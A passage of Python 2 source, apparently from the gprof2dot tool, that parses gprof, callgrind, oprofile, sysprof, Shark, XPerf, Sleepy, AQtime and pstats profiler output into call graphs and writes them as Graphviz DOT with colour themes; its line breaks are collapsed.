self.fp = fp self.functions = {} self.cycles = {} def readline(self): line = self.fp.readline() if not line: sys.stderr.write('error: unexpected end of file\n') sys.exit(1) line = line.rstrip('\r\n') return line _int_re = re.compile(r'^\d+$') _float_re = re.compile(r'^\d+\.\d+$') def translate(self, mo): """Extract a structure from a match object, while translating the types in the process.""" attrs = {} groupdict = mo.groupdict() for name, value in groupdict.iteritems(): if value is None: value = None elif self._int_re.match(value): value = int(value) elif self._float_re.match(value): value = float(value) attrs[name] = (value) return Struct(attrs) _cg_header_re = re.compile( # original gprof header r'^\s+called/total\s+parents\s*$|' + r'^index\s+%time\s+self\s+descendents\s+called\+self\s+name\s+index\s*$|' + r'^\s+called/total\s+children\s*$|' + # GNU gprof header r'^index\s+%\s+time\s+self\s+children\s+called\s+name\s*$' ) _cg_ignore_re = re.compile( # spontaneous r'^\s+<spontaneous>\s*$|' # internal calls (such as "mcount") r'^.*\((\d+)\)$' ) _cg_primary_re = re.compile( r'^\[(?P<index>\d+)\]?' + r'\s+(?P<percentage_time>\d+\.\d+)' + r'\s+(?P<self>\d+\.\d+)' + r'\s+(?P<descendants>\d+\.\d+)' + r'\s+(?:(?P<called>\d+)(?:\+(?P<called_self>\d+))?)?' + r'\s+(?P<name>\S.*?)' + r'(?:\s+<cycle\s(?P<cycle>\d+)>)?' + r'\s\[(\d+)\]$' ) _cg_parent_re = re.compile( r'^\s+(?P<self>\d+\.\d+)?' + r'\s+(?P<descendants>\d+\.\d+)?' + r'\s+(?P<called>\d+)(?:/(?P<called_total>\d+))?' + r'\s+(?P<name>\S.*?)' + r'(?:\s+<cycle\s(?P<cycle>\d+)>)?' + r'\s\[(?P<index>\d+)\]$' ) _cg_child_re = _cg_parent_re _cg_cycle_header_re = re.compile( r'^\[(?P<index>\d+)\]?' + r'\s+(?P<percentage_time>\d+\.\d+)' + r'\s+(?P<self>\d+\.\d+)' + r'\s+(?P<descendants>\d+\.\d+)' + r'\s+(?:(?P<called>\d+)(?:\+(?P<called_self>\d+))?)?' + r'\s+<cycle\s(?P<cycle>\d+)\sas\sa\swhole>' + r'\s\[(\d+)\]$' ) _cg_cycle_member_re = re.compile( r'^\s+(?P<self>\d+\.\d+)?' + r'\s+(?P<descendants>\d+\.\d+)?' + r'\s+(?P<called>\d+)(?:\+(?P<called_self>\d+))?' + r'\s+(?P<name>\S.*?)' + r'(?:\s+<cycle\s(?P<cycle>\d+)>)?' + r'\s\[(?P<index>\d+)\]$' ) _cg_sep_re = re.compile(r'^--+$') def parse_function_entry(self, lines): parents = [] children = [] while True: if not lines: sys.stderr.write('warning: unexpected end of entry\n') line = lines.pop(0) if line.startswith('['): break # read function parent line mo = self._cg_parent_re.match(line) if not mo: if self._cg_ignore_re.match(line): continue sys.stderr.write('warning: unrecognized call graph entry: %r\n' % line) else: parent = self.translate(mo) parents.append(parent) # read primary line mo = self._cg_primary_re.match(line) if not mo: sys.stderr.write('warning: unrecognized call graph entry: %r\n' % line) return else: function = self.translate(mo) while lines: line = lines.pop(0) # read function subroutine line mo = self._cg_child_re.match(line) if not mo: if self._cg_ignore_re.match(line): continue sys.stderr.write('warning: unrecognized call graph entry: %r\n' % line) else: child = self.translate(mo) children.append(child) function.parents = parents function.children = children self.functions[function.index] = function def parse_cycle_entry(self, lines): # read cycle header line line = lines[0] mo = self._cg_cycle_header_re.match(line) if not mo: sys.stderr.write('warning: unrecognized call graph entry: %r\n' % line) return cycle = self.translate(mo) # read cycle member lines cycle.functions = [] for line in lines[1:]: mo = self._cg_cycle_member_re.match(line) if not mo: sys.stderr.write('warning: unrecognized call graph entry: %r\n' % line) continue call = self.translate(mo) cycle.functions.append(call) self.cycles[cycle.cycle] = cycle def parse_cg_entry(self, lines): if lines[0].startswith("["): self.parse_cycle_entry(lines) else: self.parse_function_entry(lines) def parse_cg(self): """Parse the call graph.""" # skip call graph header while not self._cg_header_re.match(self.readline()): pass line = self.readline() while self._cg_header_re.match(line): line = self.readline() # process call graph entries entry_lines = [] while line != '\014': # form feed if line and not line.isspace(): if self._cg_sep_re.match(line): self.parse_cg_entry(entry_lines) entry_lines = [] else: entry_lines.append(line) line = self.readline() def parse(self): self.parse_cg() self.fp.close() profile = Profile() profile[TIME] = 0.0 cycles = {} for index in self.cycles.iterkeys(): cycles[index] = Cycle() for entry in self.functions.itervalues(): # populate the function function = Function(entry.index, entry.name) function[TIME] = entry.self if entry.called is not None: function.called = entry.called if entry.called_self is not None: call = Call(entry.index) call[CALLS] = entry.called_self function.called += entry.called_self # populate the function calls for child in entry.children: call = Call(child.index) assert child.called is not None call[CALLS] = child.called if child.index not in self.functions: # NOTE: functions that were never called but were discovered by gprof's # static call graph analysis dont have a call graph entry so we need # to add them here missing = Function(child.index, child.name) function[TIME] = 0.0 function.called = 0 profile.add_function(missing) function.add_call(call) profile.add_function(function) if entry.cycle is not None: try: cycle = cycles[entry.cycle] except KeyError: sys.stderr.write('warning: <cycle %u as a whole> entry missing\n' % entry.cycle) cycle = Cycle() cycles[entry.cycle] = cycle cycle.add_function(function) profile[TIME] = profile[TIME] + function[TIME] for cycle in cycles.itervalues(): profile.add_cycle(cycle) # Compute derived events profile.validate() profile.ratio(TIME_RATIO, TIME) profile.call_ratios(CALLS) profile.integrate(TOTAL_TIME, TIME) profile.ratio(TOTAL_TIME_RATIO, TOTAL_TIME) return profile class CallgrindParser(LineParser): """Parser for valgrind's callgrind tool. See also: - http://valgrind.org/docs/manual/cl-Format.html """ _call_re = re.compile('^calls=\s*(\d+)\s+((\d+|\+\d+|-\d+|\*)\s+)+$') def __init__(self, infile): LineParser.__init__(self, infile) # Textual positions self.position_ids = {} self.positions = {} # Numeric positions self.num_positions = 1 self.cost_positions = ['line'] self.last_positions = [0] # Events self.num_events = 0 self.cost_events = [] self.profile = Profile() self.profile[SAMPLES] = 0 def parse(self): # read lookahead self.readline() self.parse_key('version') self.parse_key('creator') self.parse_part() # compute derived data self.profile.validate() self.profile.find_cycles() self.profile.ratio(TIME_RATIO, SAMPLES) self.profile.call_ratios(CALLS) self.profile.integrate(TOTAL_TIME_RATIO, TIME_RATIO) return self.profile def parse_part(self): while self.parse_header_line(): pass while self.parse_body_line(): pass return True def parse_header_line(self): return \ self.parse_empty() or \ self.parse_comment() or \ self.parse_part_detail() or \ self.parse_description() or \ self.parse_event_specification() or \ self.parse_cost_line_def() or \ self.parse_cost_summary() _detail_keys = set(('cmd', 'pid', 'thread', 'part')) def parse_part_detail(self): return self.parse_keys(self._detail_keys) def parse_description(self): return self.parse_key('desc') is not None def parse_event_specification(self): event = self.parse_key('event') if event is None: return False return True def parse_cost_line_def(self): pair = self.parse_keys(('events', 'positions')) if pair is None: return False key, value = pair items = value.split() if key == 'events': self.num_events = len(items) self.cost_events = items if key == 'positions': self.num_positions = len(items) self.cost_positions = items self.last_positions = [0]*self.num_positions return True def parse_cost_summary(self): pair = self.parse_keys(('summary', 'totals')) if pair is None: return False return True def parse_body_line(self): return \ self.parse_empty() or \ self.parse_comment() or \ self.parse_cost_line() or \ self.parse_position_spec() or \ self.parse_association_spec() _cost_re = re.compile(r'^(\d+|\+\d+|-\d+|\*)( \d+)+$') def parse_cost_line(self, calls=None): line = self.lookahead() mo = self._cost_re.match(line) if not mo: return False function = self.get_function() values = line.split(' ') assert len(values) == self.num_positions + self.num_events positions = values[0 : self.num_positions] events = values[self.num_positions : ] for i in range(self.num_positions): position = positions[i] if position == '*': position = self.last_positions[i] elif position[0] in '-+': position = self.last_positions[i] + int(position) else: position = int(position) self.last_positions[i] = position events = map(float, events) if calls is None: function[SAMPLES] += events[0] self.profile[SAMPLES] += events[0] else: callee = self.get_callee() callee.called += calls try: call = function.calls[callee.id] except KeyError: call = Call(callee.id) call[CALLS] = calls call[SAMPLES] = events[0] function.add_call(call) else: call[CALLS] += calls call[SAMPLES] += events[0] self.consume() return True def parse_association_spec(self): line = self.lookahead() if not line.startswith('calls='): return False _, values = line.split('=', 1) values = values.strip().split() calls = int(values[0]) call_position = values[1:] self.consume() self.parse_cost_line(calls) return True _position_re = re.compile('^(?P<position>c?(?:ob|fl|fi|fe|fn))=\s*(?:\((?P<id>\d+)\))?(?:\s*(?P<name>.+))?') _position_table_map = { 'ob': 'ob', 'fl': 'fl', 'fi': 'fl', 'fe': 'fl', 'fn': 'fn', 'cob': 'ob', 'cfl': 'fl', 'cfi': 'fl', 'cfe': 'fl', 'cfn': 'fn', } _position_map = { 'ob': 'ob', 'fl': 'fl', 'fi': 'fl', 'fe': 'fl', 'fn': 'fn', 'cob': 'cob', 'cfl': 'cfl', 'cfi': 'cfl', 'cfe': 'cfl', 'cfn': 'cfn', } def parse_position_spec(self): line = self.lookahead() mo = self._position_re.match(line) if not mo: return False position, id, name = mo.groups() if id: table = self._position_table_map[position] if name: self.position_ids[(table, id)] = name else: name = self.position_ids.get((table, id), '') self.positions[self._position_map[position]] = name self.consume() return True def parse_empty(self): line = self.lookahead() if line.strip(): return False self.consume() return True def parse_comment(self): line = self.lookahead() if not line.startswith('#'): return False self.consume() return True _key_re = re.compile(r'^(\w+):') def parse_key(self, key): pair = self.parse_keys((key,)) if not pair: return None key, value = pair return value line = self.lookahead() mo = self._key_re.match(line) if not mo: return None key, value = line.split(':', 1) if key not in keys: return None value = value.strip() self.consume() return key, value def parse_keys(self, keys): line = self.lookahead() mo = self._key_re.match(line) if not mo: return None key, value = line.split(':', 1) if key not in keys: return None value = value.strip() self.consume() return key, value def make_function(self, module, filename, name): # FIXME: module and filename are not being tracked reliably #id = '|'.join((module, filename, name)) id = name try: function = self.profile.functions[id] except KeyError: function = Function(id, name) function[SAMPLES] = 0 function.called = 0 self.profile.add_function(function) return function def get_function(self): module = self.positions.get('ob', '') filename = self.positions.get('fl', '') function = self.positions.get('fn', '') return self.make_function(module, filename, function) def get_callee(self): module = self.positions.get('cob', '') filename = self.positions.get('cfi', '') function = self.positions.get('cfn', '') return self.make_function(module, filename, function) class OprofileParser(LineParser): """Parser for oprofile callgraph output. See also: - http://oprofile.sourceforge.net/doc/opreport.html#opreport-callgraph """ _fields_re = { 'samples': r'(\d+)', '%': r'(\S+)', 'linenr info': r'(?P<source>\(no location information\)|\S+:\d+)', 'image name': r'(?P<image>\S+(?:\s\(tgid:[^)]*\))?)', 'app name': r'(?P<application>\S+)', 'symbol name': r'(?P<symbol>\(no symbols\)|.+?)', } def __init__(self, infile): LineParser.__init__(self, infile) self.entries = {} self.entry_re = None def add_entry(self, callers, function, callees): try: entry = self.entries[function.id] except KeyError: self.entries[function.id] = (callers, function, callees) else: callers_total, function_total, callees_total = entry self.update_subentries_dict(callers_total, callers) function_total.samples += function.samples self.update_subentries_dict(callees_total, callees) def update_subentries_dict(self, totals, partials): for partial in partials.itervalues(): try: total = totals[partial.id] except KeyError: totals[partial.id] = partial else: total.samples += partial.samples def parse(self): # read lookahead self.readline() self.parse_header() while self.lookahead(): self.parse_entry() profile = Profile() reverse_call_samples = {} # populate the profile profile[SAMPLES] = 0 for _callers, _function, _callees in self.entries.itervalues(): function = Function(_function.id, _function.name) function[SAMPLES] = _function.samples profile.add_function(function) profile[SAMPLES] += _function.samples if _function.application: function.process = os.path.basename(_function.application) if _function.image: function.module = os.path.basename(_function.image) total_callee_samples = 0 for _callee in _callees.itervalues(): total_callee_samples += _callee.samples for _callee in _callees.itervalues(): if not _callee.self: call = Call(_callee.id) call[SAMPLES2] = _callee.samples function.add_call(call) # compute derived data profile.validate() profile.find_cycles() profile.ratio(TIME_RATIO, SAMPLES) profile.call_ratios(SAMPLES2) profile.integrate(TOTAL_TIME_RATIO, TIME_RATIO) return profile def parse_header(self): while not self.match_header(): self.consume() line = self.lookahead() fields = re.split(r'\s\s+', line) entry_re = r'^\s*' + r'\s+'.join([self._fields_re[field] for field in fields]) + r'(?P<self>\s+\[self\])?$' self.entry_re = re.compile(entry_re) self.skip_separator() def parse_entry(self): callers = self.parse_subentries() if self.match_primary(): function = self.parse_subentry() if function is not None: callees = self.parse_subentries() self.add_entry(callers, function, callees) self.skip_separator() def parse_subentries(self): subentries = {} while self.match_secondary(): subentry = self.parse_subentry() subentries[subentry.id] = subentry return subentries def parse_subentry(self): entry = Struct() line = self.consume() mo = self.entry_re.match(line) if not mo: raise ParseError('failed to parse', line) fields = mo.groupdict() entry.samples = int(mo.group(1)) if 'source' in fields and fields['source'] != '(no location information)': source = fields['source'] filename, lineno = source.split(':') entry.filename = filename entry.lineno = int(lineno) else: source = '' entry.filename = None entry.lineno = None entry.image = fields.get('image', '') entry.application = fields.get('application', '') if 'symbol' in fields and fields['symbol'] != '(no symbols)': entry.symbol = fields['symbol'] else: entry.symbol = '' if entry.symbol.startswith('"') and entry.symbol.endswith('"'): entry.symbol = entry.symbol[1:-1] entry.id = ':'.join((entry.application, entry.image, source, entry.symbol)) entry.self = fields.get('self', None) != None if entry.self: entry.id += ':self' if entry.symbol: entry.name = entry.symbol else: entry.name = entry.image return entry def skip_separator(self): while not self.match_separator(): self.consume() self.consume() def match_header(self): line = self.lookahead() return line.startswith('samples') def match_separator(self): line = self.lookahead() return line == '-'*len(line) def match_primary(self): line = self.lookahead() return not line[:1].isspace() def match_secondary(self): line = self.lookahead() return line[:1].isspace() class SysprofParser(XmlParser): def __init__(self, stream): XmlParser.__init__(self, stream) def parse(self): objects = {} nodes = {} self.element_start('profile') while self.token.type == XML_ELEMENT_START: if self.token.name_or_data == 'objects': assert not objects objects = self.parse_items('objects') elif self.token.name_or_data == 'nodes': assert not nodes nodes = self.parse_items('nodes') else: self.parse_value(self.token.name_or_data) self.element_end('profile') return self.build_profile(objects, nodes) def parse_items(self, name): assert name[-1] == 's' items = {} self.element_start(name) while self.token.type == XML_ELEMENT_START: id, values = self.parse_item(name[:-1]) assert id not in items items[id] = values self.element_end(name) return items def parse_item(self, name): attrs = self.element_start(name) id = int(attrs['id']) values = self.parse_values() self.element_end(name) return id, values def parse_values(self): values = {} while self.token.type == XML_ELEMENT_START: name = self.token.name_or_data value = self.parse_value(name) assert name not in values values[name] = value return values def parse_value(self, tag): self.element_start(tag) value = self.character_data() self.element_end(tag) if value.isdigit(): return int(value) if value.startswith('"') and value.endswith('"'): return value[1:-1] return value def build_profile(self, objects, nodes): profile = Profile() profile[SAMPLES] = 0 for id, object in objects.iteritems(): # Ignore fake objects (process names, modules, "Everything", "kernel", etc.) if object['self'] == 0: continue function = Function(id, object['name']) function[SAMPLES] = object['self'] profile.add_function(function) profile[SAMPLES] += function[SAMPLES] for id, node in nodes.iteritems(): # Ignore fake calls if node['self'] == 0: continue # Find a non-ignored parent parent_id = node['parent'] while parent_id != 0: parent = nodes[parent_id] caller_id = parent['object'] if objects[caller_id]['self'] != 0: break parent_id = parent['parent'] if parent_id == 0: continue callee_id = node['object'] assert objects[caller_id]['self'] assert objects[callee_id]['self'] function = profile.functions[caller_id] samples = node['self'] try: call = function.calls[callee_id] except KeyError: call = Call(callee_id) call[SAMPLES2] = samples function.add_call(call) else: call[SAMPLES2] += samples # Compute derived events profile.validate() profile.find_cycles() profile.ratio(TIME_RATIO, SAMPLES) profile.call_ratios(SAMPLES2) profile.integrate(TOTAL_TIME_RATIO, TIME_RATIO) return profile class SharkParser(LineParser): """Parser for MacOSX Shark output. Author: tom@dbservice.com """ def __init__(self, infile): LineParser.__init__(self, infile) self.stack = [] self.entries = {} def add_entry(self, function): try: entry = self.entries[function.id] except KeyError: self.entries[function.id] = (function, { }) else: function_total, callees_total = entry function_total.samples += function.samples def add_callee(self, function, callee): func, callees = self.entries[function.id] try: entry = callees[callee.id] except KeyError: callees[callee.id] = callee else: entry.samples += callee.samples def parse(self): self.readline() self.readline() self.readline() self.readline() match = re.compile(r'(?P<prefix>[|+ ]*)(?P<samples>\d+), (?P<symbol>[^,]+), (?P<image>.*)') while self.lookahead(): line = self.consume() mo = match.match(line) if not mo: raise ParseError('failed to parse', line) fields = mo.groupdict() prefix = len(fields.get('prefix', 0)) / 2 - 1 symbol = str(fields.get('symbol', 0)) image = str(fields.get('image', 0)) entry = Struct() entry.id = ':'.join([symbol, image]) entry.samples = int(fields.get('samples', 0)) entry.name = symbol entry.image = image # adjust the callstack if prefix < len(self.stack): del self.stack[prefix:] if prefix == len(self.stack): self.stack.append(entry) # if the callstack has had an entry, it's this functions caller if prefix > 0: self.add_callee(self.stack[prefix - 1], entry) self.add_entry(entry) profile = Profile() profile[SAMPLES] = 0 for _function, _callees in self.entries.itervalues(): function = Function(_function.id, _function.name) function[SAMPLES] = _function.samples profile.add_function(function) profile[SAMPLES] += _function.samples if _function.image: function.module = os.path.basename(_function.image) for _callee in _callees.itervalues(): call = Call(_callee.id) call[SAMPLES] = _callee.samples function.add_call(call) # compute derived data profile.validate() profile.find_cycles() profile.ratio(TIME_RATIO, SAMPLES) profile.call_ratios(SAMPLES) profile.integrate(TOTAL_TIME_RATIO, TIME_RATIO) return profile class XPerfParser(Parser): """Parser for CSVs generted by XPerf, from Microsoft Windows Performance Tools. """ def __init__(self, stream): Parser.__init__(self) self.stream = stream self.profile = Profile() self.profile[SAMPLES] = 0 self.column = {} def parse(self): import csv reader = csv.reader( self.stream, delimiter = ',', quotechar = None, escapechar = None, doublequote = False, skipinitialspace = True, lineterminator = '\r\n', quoting = csv.QUOTE_NONE) it = iter(reader) row = reader.next() self.parse_header(row) for row in it: self.parse_row(row) # compute derived data self.profile.validate() self.profile.find_cycles() self.profile.ratio(TIME_RATIO, SAMPLES) self.profile.call_ratios(SAMPLES2) self.profile.integrate(TOTAL_TIME_RATIO, TIME_RATIO) return self.profile def parse_header(self, row): for column in range(len(row)): name = row[column] assert name not in self.column self.column[name] = column def parse_row(self, row): fields = {} for name, column in self.column.iteritems(): value = row[column] for factory in int, float: try: value = factory(value) except ValueError: pass else: break fields[name] = value process = fields['Process Name'] symbol = fields['Module'] + '!' + fields['Function'] weight = fields['Weight'] count = fields['Count'] function = self.get_function(process, symbol) function[SAMPLES] += weight * count self.profile[SAMPLES] += weight * count stack = fields['Stack'] if stack != '?': stack = stack.split('/') assert stack[0] == '[Root]' if stack[-1] != symbol: # XXX: some cases the sampled function does not appear in the stack stack.append(symbol) caller = None for symbol in stack[1:]: callee = self.get_function(process, symbol) if caller is not None: try: call = caller.calls[callee.id] except KeyError: call = Call(callee.id) call[SAMPLES2] = count caller.add_call(call) else: call[SAMPLES2] += count caller = callee def get_function(self, process, symbol): function_id = process + '!' + symbol try: function = self.profile.functions[function_id] except KeyError: module, name = symbol.split('!') function = Function(function_id, name) function.process = process function.module = module function[SAMPLES] = 0 self.profile.add_function(function) return function class SleepyParser(Parser): """Parser for GNU gprof output. See also: - http://www.codersnotes.com/sleepy/ - http://sleepygraph.sourceforge.net/ """ def __init__(self, filename): Parser.__init__(self) from zipfile import ZipFile self.database = ZipFile(filename) self.symbols = {} self.calls = {} self.profile = Profile() _symbol_re = re.compile( r'^(?P<id>\w+)' + r'\s+"(?P<module>[^"]*)"' + r'\s+"(?P<procname>[^"]*)"' + r'\s+"(?P<sourcefile>[^"]*)"' + r'\s+(?P<sourceline>\d+)$' ) def parse_symbols(self): lines = self.database.read('symbols.txt').splitlines() for line in lines: mo = self._symbol_re.match(line) if mo: symbol_id, module, procname, sourcefile, sourceline = mo.groups() function_id = ':'.join([module, procname]) try: function = self.profile.functions[function_id] except KeyError: function = Function(function_id, procname) function.module = module function[SAMPLES] = 0 self.profile.add_function(function) self.symbols[symbol_id] = function def parse_callstacks(self): lines = self.database.read("callstacks.txt").splitlines() for line in lines: fields = line.split() samples = int(fields[0]) callstack = fields[1:] callstack = [self.symbols[symbol_id] for symbol_id in callstack] callee = callstack[0] callee[SAMPLES] += samples self.profile[SAMPLES] += samples for caller in callstack[1:]: try: call = caller.calls[callee.id] except KeyError: call = Call(callee.id) call[SAMPLES2] = samples caller.add_call(call) else: call[SAMPLES2] += samples callee = caller def parse(self): profile = self.profile profile[SAMPLES] = 0 self.parse_symbols() self.parse_callstacks() # Compute derived events profile.validate() profile.find_cycles() profile.ratio(TIME_RATIO, SAMPLES) profile.call_ratios(SAMPLES2) profile.integrate(TOTAL_TIME_RATIO, TIME_RATIO) return profile class AQtimeTable: def __init__(self, name, fields): self.name = name self.fields = fields self.field_column = {} for column in range(len(fields)): self.field_column[fields[column]] = column self.rows = [] def __len__(self): return len(self.rows) def __iter__(self): for values, children in self.rows: fields = {} for name, value in zip(self.fields, values): fields[name] = value children = dict([(child.name, child) for child in children]) yield fields, children raise StopIteration def add_row(self, values, children=()): self.rows.append((values, children)) class AQtimeParser(XmlParser): def __init__(self, stream): XmlParser.__init__(self, stream) self.tables = {} def parse(self): self.element_start('AQtime_Results') self.parse_headers() results = self.parse_results() self.element_end('AQtime_Results') return self.build_profile(results) def parse_headers(self): self.element_start('HEADERS') while self.token.type == XML_ELEMENT_START: self.parse_table_header() self.element_end('HEADERS') def parse_table_header(self): attrs = self.element_start('TABLE_HEADER') name = attrs['NAME'] id = int(attrs['ID']) field_types = [] field_names = [] while self.token.type == XML_ELEMENT_START: field_type, field_name = self.parse_table_field() field_types.append(field_type) field_names.append(field_name) self.element_end('TABLE_HEADER') self.tables[id] = name, field_types, field_names def parse_table_field(self): attrs = self.element_start('TABLE_FIELD') type = attrs['TYPE'] name = self.character_data() self.element_end('TABLE_FIELD') return type, name def parse_results(self): self.element_start('RESULTS') table = self.parse_data() self.element_end('RESULTS') return table def parse_data(self): rows = [] attrs = self.element_start('DATA') table_id = int(attrs['TABLE_ID']) table_name, field_types, field_names = self.tables[table_id] table = AQtimeTable(table_name, field_names) while self.token.type == XML_ELEMENT_START: row, children = self.parse_row(field_types) table.add_row(row, children) self.element_end('DATA') return table def parse_row(self, field_types): row = [None]*len(field_types) children = [] self.element_start('ROW') while self.token.type == XML_ELEMENT_START: if self.token.name_or_data == 'FIELD': field_id, field_value = self.parse_field(field_types) row[field_id] = field_value elif self.token.name_or_data == 'CHILDREN': children = self.parse_children() else: raise XmlTokenMismatch("<FIELD ...> or <CHILDREN ...>", self.token) self.element_end('ROW') return row, children def parse_field(self, field_types): attrs = self.element_start('FIELD') id = int(attrs['ID']) type = field_types[id] value = self.character_data() if type == 'Integer': value = int(value) elif type == 'Float': value = float(value) elif type == 'Address': value = int(value) elif type == 'String': pass else: assert False self.element_end('FIELD') return id, value def parse_children(self): children = [] self.element_start('CHILDREN') while self.token.type == XML_ELEMENT_START: table = self.parse_data() assert table.name not in children children.append(table) self.element_end('CHILDREN') return children def build_profile(self, results): assert results.name == 'Routines' profile = Profile() profile[TIME] = 0.0 for fields, tables in results: function = self.build_function(fields) children = tables['Children'] for fields, _ in children: call = self.build_call(fields) function.add_call(call) profile.add_function(function) profile[TIME] = profile[TIME] + function[TIME] profile[TOTAL_TIME] = profile[TIME] profile.ratio(TOTAL_TIME_RATIO, TOTAL_TIME) return profile def build_function(self, fields): function = Function(self.build_id(fields), self.build_name(fields)) function[TIME] = fields['Time'] function[TOTAL_TIME] = fields['Time with Children'] #function[TIME_RATIO] = fields['% Time']/100.0 #function[TOTAL_TIME_RATIO] = fields['% with Children']/100.0 return function def build_call(self, fields): call = Call(self.build_id(fields)) call[TIME] = fields['Time'] call[TOTAL_TIME] = fields['Time with Children'] #call[TIME_RATIO] = fields['% Time']/100.0 #call[TOTAL_TIME_RATIO] = fields['% with Children']/100.0 return call def build_id(self, fields): return ':'.join([fields['Module Name'], fields['Unit Name'], fields['Routine Name']]) def build_name(self, fields): # TODO: use more fields return fields['Routine Name'] class PstatsParser: """Parser python profiling statistics saved with te pstats module.""" def __init__(self, *filename): import pstats try: self.stats = pstats.Stats(*filename) except ValueError: import hotshot.stats self.stats = hotshot.stats.load(filename[0]) self.profile = Profile() self.function_ids = {} def get_function_name(self, (filename, line, name)): module = os.path.splitext(filename)[0] module = os.path.basename(module) return "%s:%d:%s" % (module, line, name) def get_function(self, key): try: id = self.function_ids[key] except KeyError: id = len(self.function_ids) name = self.get_function_name(key) function = Function(id, name) self.profile.functions[id] = function self.function_ids[key] = id else: function = self.profile.functions[id] return function def parse(self): self.profile[TIME] = 0.0 self.profile[TOTAL_TIME] = self.stats.total_tt for fn, (cc, nc, tt, ct, callers) in self.stats.stats.iteritems(): callee = self.get_function(fn) callee.called = nc callee[TOTAL_TIME] = ct callee[TIME] = tt self.profile[TIME] += tt self.profile[TOTAL_TIME] = max(self.profile[TOTAL_TIME], ct) for fn, value in callers.iteritems(): caller = self.get_function(fn) call = Call(callee.id) if isinstance(value, tuple): for i in xrange(0, len(value), 4): nc, cc, tt, ct = value[i:i+4] if CALLS in call: call[CALLS] += cc else: call[CALLS] = cc if TOTAL_TIME in call: call[TOTAL_TIME] += ct else: call[TOTAL_TIME] = ct else: call[CALLS] = value call[TOTAL_TIME] = ratio(value, nc)*ct caller.add_call(call) #self.stats.print_stats() #self.stats.print_callees() # Compute derived events self.profile.validate() self.profile.ratio(TIME_RATIO, TIME) self.profile.ratio(TOTAL_TIME_RATIO, TOTAL_TIME) return self.profile class Theme: def __init__(self, bgcolor = (0.0, 0.0, 1.0), mincolor = (0.0, 0.0, 0.0), maxcolor = (0.0, 0.0, 1.0), fontname = "Arial", minfontsize = 10.0, maxfontsize = 10.0, minpenwidth = 0.5, maxpenwidth = 4.0, gamma = 2.2, skew = 1.0): self.bgcolor = bgcolor self.mincolor = mincolor self.maxcolor = maxcolor self.fontname = fontname self.minfontsize = minfontsize self.maxfontsize = maxfontsize self.minpenwidth = minpenwidth self.maxpenwidth = maxpenwidth self.gamma = gamma self.skew = skew def graph_bgcolor(self): return self.hsl_to_rgb(*self.bgcolor) def graph_fontname(self): return self.fontname def graph_fontsize(self): return self.minfontsize def node_bgcolor(self, weight): return self.color(weight) def node_fgcolor(self, weight): return self.graph_bgcolor() def node_fontsize(self, weight): return self.fontsize(weight) def edge_color(self, weight): return self.color(weight) def edge_fontsize(self, weight): return self.fontsize(weight) def edge_penwidth(self, weight): return max(weight*self.maxpenwidth, self.minpenwidth) def edge_arrowsize(self, weight): return 0.5 * math.sqrt(self.edge_penwidth(weight)) def fontsize(self, weight): return max(weight**2 * self.maxfontsize, self.minfontsize) def color(self, weight): weight = min(max(weight, 0.0), 1.0) hmin, smin, lmin = self.mincolor hmax, smax, lmax = self.maxcolor if self.skew < 0: raise ValueError("Skew must be greater than 0") elif self.skew == 1.0: h = hmin + weight*(hmax - hmin) s = smin + weight*(smax - smin) l = lmin + weight*(lmax - lmin) else: base = self.skew h = hmin + ((hmax-hmin)*(-1.0 + (base ** weight)) / (base - 1.0)) s = smin + ((smax-smin)*(-1.0 + (base ** weight)) / (base - 1.0)) l = lmin + ((lmax-lmin)*(-1.0 + (base ** weight)) / (base - 1.0)) return self.hsl_to_rgb(h, s, l) def hsl_to_rgb(self, h, s, l): """Convert a color from HSL color-model to RGB. See also: - http://www.w3.org/TR/css3-color/#hsl-color """ h = h % 1.0 s = min(max(s, 0.0), 1.0) l = min(max(l, 0.0), 1.0) if l <= 0.5: m2 = l*(s + 1.0) else: m2 = l + s - l*s m1 = l*2.0 - m2 r = self._hue_to_rgb(m1, m2, h + 1.0/3.0) g = self._hue_to_rgb(m1, m2, h) b = self._hue_to_rgb(m1, m2, h - 1.0/3.0) # Apply gamma correction r **= self.gamma g **= self.gamma b **= self.gamma return (r, g, b) def _hue_to_rgb(self, m1, m2, h): if h < 0.0: h += 1.0 elif h > 1.0: h -= 1.0 if h*6 < 1.0: return m1 + (m2 - m1)*h*6.0 elif h*2 < 1.0: return m2 elif h*3 < 2.0: return m1 + (m2 - m1)*(2.0/3.0 - h)*6.0 else: return m1 TEMPERATURE_COLORMAP = Theme( mincolor = (2.0/3.0, 0.80, 0.25), # dark blue maxcolor = (0.0, 1.0, 0.5), # satured red gamma = 1.0 ) PINK_COLORMAP = Theme( mincolor = (0.0, 1.0, 0.90), # pink maxcolor = (0.0, 1.0, 0.5), # satured red ) GRAY_COLORMAP = Theme( mincolor = (0.0, 0.0, 0.85), # light gray maxcolor = (0.0, 0.0, 0.0), # black ) BW_COLORMAP = Theme( minfontsize = 8.0, maxfontsize = 24.0, mincolor = (0.0, 0.0, 0.0), # black maxcolor = (0.0, 0.0, 0.0), # black minpenwidth = 0.1, maxpenwidth = 8.0, ) class DotWriter: """Writer for the DOT language. See also: - "The DOT Language" specification http://www.graphviz.org/doc/info/lang.html """ def __init__(self, fp): self.fp = fp def graph(self, profile, theme): self.begin_graph() fontname = theme.graph_fontname() self.attr('graph', fontname=fontname, ranksep=0.25, nodesep=0.125) self.attr('node', fontname=fontname, shape="box", style="filled", fontcolor="white", width=0, height=0) self.attr('edge', fontname=fontname) for function in profile.functions.itervalues(): labels = [] if function.process is not None: labels.append(function.process) if function.module is not None: labels.append(function.module) labels.append(function.name) for event in TOTAL_TIME_RATIO, TIME_RATIO: if event in function.events: label = event.format(function[event]) labels.append(label) if function.called is not None: labels.append(u"%u\xd7" % (function.called,)) if function.weight is not None: weight = function.weight else: weight = 0.0 label = '\n'.join(labels) self.node(function.id, label = label, color = self.color(theme.node_bgcolor(weight)), fontcolor = self.color(theme.node_fgcolor(weight)), fontsize = "%.2f" % theme.node_fontsize(weight), ) for call in function.calls.itervalues(): callee = profile.functions[call.callee_id] labels = [] for event in TOTAL_TIME_RATIO, CALLS: if event in call.events: label = event.format(call[event]) labels.append(label) if call.weight is not None: weight = call.weight elif callee.weight is not None: weight = callee.weight else: weight = 0.0 label = '\n'.join(labels) self.edge(function.id, call.callee_id, label = label, color = self.color(theme.edge_color(weight)), fontcolor = self.color(theme.edge_color(weight)), fontsize = "%.2f" % theme.edge_fontsize(weight), penwidth = "%.2f" % theme.edge_penwidth(weight), labeldistance = "%.2f" % theme.edge_penwidth(weight), arrowsize = "%.2f" % theme.edge_arrowsize(weight), ) self.end_graph() def 